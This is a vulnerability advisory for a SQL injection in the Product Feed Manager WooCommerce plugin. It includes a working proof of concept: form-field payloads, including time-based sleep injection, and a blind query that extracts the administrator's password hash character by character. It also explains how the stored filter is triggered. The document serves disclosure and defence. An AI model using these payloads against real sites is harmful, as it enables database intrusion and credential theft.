Product Feed Manager for WooCommerce < 7.6.1 – Contributor+ SQL Injection via Feed Filter | CVE 2026-15258

Description

The plugin does not properly sanitise and escape product-feed custom filter rules before using them in a SQL query, allowing users with the Contributor role and above to perform SQL injection attacks.

Proof of Concept

Prerequisites: WooCommerce active; an account with the edit_posts capability (Contributor, Author, Editor or Shop Manager). The product-feed post type is registered capability_type=post, so a Contributor can create/edit a feed.

1. As the low-privileged user, open wp-admin/post-new.php?post_type=product-feed, add a Custom Filter rule, and save the feed (as a draft) so the filter is stored. Submit:
   ff[0][0][if]        = ID and (select 1 from (select sleep(2))x)
   ff[0][0][condition] = equal_to
   ff[0][0][value]     = 1
   ff[0][0][then]      = inc
   ff[0][0][cfo]       = AND
   rex_feed_custom_filter_option_btn = added

2. Feed generation executes the stored filter. The column value is returned verbatim by the query builder's default branch and interpolated raw into a posts_where clause run by WP_Query, e.g.:
   SELECT wp_posts.ID FROM wp_posts WHERE 1=1 AND (...) AND (((wp_posts.ID and (select 1 from (select sleep(2))x) = 1)))
   The response is delayed ~2 seconds (raise the 2 to scale the delay; verified baseline 0.000s vs sleep(5) 5.006s).

   Trigger note (second-order): a pure Contributor's draft feed is executed when an admin generates it; an Author+/Editor+/Shop Manager (holding publish_posts) can publish the feed and self-trigger execution via the product-change / scheduled regeneration cron with no admin involvement.

3. Blind extraction, e.g. recover the admin password hash one character at a time via the column:
   ff[0][0][if] = ID and if((select substring(user_pass,1,1) from wp_users where ID=1)='a',sleep(5),0)

The only sanitiser (FILTER_SANITIZE_FULL_SPECIAL_CHARS) leaves ( ) = / * - and whitespace intact, permitting a quote-free time/boolean-based injection. Confirmed on best-woocommerce-feed 7.5.5 and byte-identical/still vulnerable in current 7.6.0.